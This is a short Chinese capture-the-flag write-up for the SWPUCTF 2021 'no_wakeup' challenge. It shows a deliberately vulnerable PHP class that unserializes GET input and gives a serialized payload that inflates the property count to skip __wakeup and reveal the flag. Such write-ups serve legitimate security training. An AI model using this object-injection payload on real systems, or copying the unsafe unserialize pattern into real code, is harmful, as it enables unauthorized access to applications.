0%

> SWPUCTF 2021 新生赛]no_wakeup](https://www.nssctf.cn/problem/

2025-12-04 20:00By
zuziyi
反序列化PHPJava反序列化

Problem: [SWPUCTF 2021 新生赛]no_wakeup

派蒙可爱捏~( ̄▽ ̄)~*

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

反序列化就行了

肉眼可见,sha1碰撞并不可取,所以只能绕过

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:6:"wllm";}

注意php反序列化中如果字符串中记录的字符数量和后面大括号中的字符数量会跳过wakeup的使用

还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论